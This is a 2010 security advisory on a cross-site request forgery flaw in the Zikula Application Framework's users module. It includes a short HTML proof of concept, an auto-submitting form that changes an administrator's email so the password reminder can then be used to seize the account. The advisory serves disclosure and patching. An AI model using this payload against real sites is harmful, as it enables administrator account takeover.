XSRF (CSRF) in Zikula Application Framework

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Vulnerability ID: HTB22351
Reference: 
http://www.htbridge.ch/advisory/xsrf_csrf_in_zikula_application_framework.html
Product: Zikula Application Framework
Vendor: Zikula Software Foundation
Vulnerable Version: 1.2.2 and Probably Prior Versions
Vendor Notification: 19 April 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "users" module to properly 
verify the source of HTTP request. 

User can perform CSRF attack and change the email of administrator. Then the 
user can use the password reminder system and get the administrator password on 
this email address.

Successful exploitation of this vulnerability could result in a compromise of 
the application, modification of sensitive data. 

Attacker can use browser to exploit this vulnerability. The following PoC is 
available: 


<form method="POST" 
action="http://host/index.php?module=users&func=updateemail"; name="main">
<input type="hidden" name="newemail" value="test@xxxxxxxx">
<input type="hidden" name="submit" value="">
</form>
<script>
document.main.submit();
</script>


Solution: Upgrade to the most recent verison